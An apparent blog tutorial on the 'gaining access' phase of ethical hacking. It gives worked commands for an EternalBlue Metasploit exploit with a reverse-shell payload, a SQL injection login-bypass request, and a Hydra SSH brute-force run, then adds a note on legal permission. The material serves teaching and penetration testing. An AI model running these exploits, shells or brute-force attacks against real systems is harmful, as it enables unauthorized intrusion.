Comprehensive Ethical Hacking Tutorial
Learn How to Gain Access to Target Systems
🔹 Step 3: Gaining Access
After scanning and identifying vulnerabilities, the next step is to gain access to the target system. Ethical hackers use various techniques to exploit these vulnerabilities and get unauthorized access in a controlled, legal, and ethical manner. Some common methods include:
- Exploiting Vulnerabilities: Use known exploits to attack weak points in the system.
- Brute Force Attacks: Guessing passwords or keys by trying multiple combinations.
- SQL Injection: Exploiting vulnerabilities in web applications to execute malicious SQL commands.
- Metasploit Framework: A powerful tool for developing and executing exploits.
Example 1: Using Metasploit for Exploiting Vulnerabilities
Metasploit is one of the most powerful tools for penetration testing and ethical hacking. It comes with pre-built exploits for various vulnerabilities.
Here’s an example of how to use Metasploit to exploit a vulnerability in a system:
# Start Metasploit Framework
msfconsole
# Use an exploit module for a specific vulnerability
use exploit/windows/smb/ms17_010_eternalblue
# Set the target IP address
set RHOSTS 192.168.1.5
# Set the payload type (e.g., reverse shell)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Set the local IP address for the reverse shell
set LHOST 192.168.1.10
# Run the exploit
exploit
This Metasploit module targets the famous EternalBlue vulnerability, which affects Windows SMB services. If the exploit is successful, it will give us remote shell access to the target machine.
Example 2: SQL Injection (Web Application Hacking)
SQL Injection (SQLi) is a common technique used to exploit vulnerabilities in web applications that don’t properly validate user inputs. Attackers can inject malicious SQL queries into input fields (like search or login forms) to gain access to databases and sensitive information.
Here’s a simple example of a SQL injection in a login form:
# Normal login request
POST /login.php HTTP/1.1
Host: victimwebsite.com
username=user&password=pass
# SQL Injection attack payload
POST /login.php HTTP/1.1
Host: victimwebsite.com
username=' OR 1=1 -- &password=anypassword
In this case, the attacker is injecting a SQL query that will always return true (OR 1=1), effectively bypassing the login authentication.
Example 3: Brute Force Attack on SSH
A brute force attack is where an attacker attempts all possible combinations of passwords to gain access. Here’s an example using the Hydra tool to perform a brute force attack on an SSH service:
# Start Hydra brute-force attack on SSH
hydra -l username -P /path/to/passwords.txt ssh://192.168.1.5
This command will try all the passwords listed in the passwords.txt file to guess the correct password for the given username on the SSH service.
Ethical Considerations
It’s important to note that gaining access to a system without permission is illegal. Always ensure you have explicit permission (via written consent) before testing any system. Ethical hacking is performed under strict guidelines to help secure systems and protect users from malicious hackers.
Great learning experience!
ReplyDelete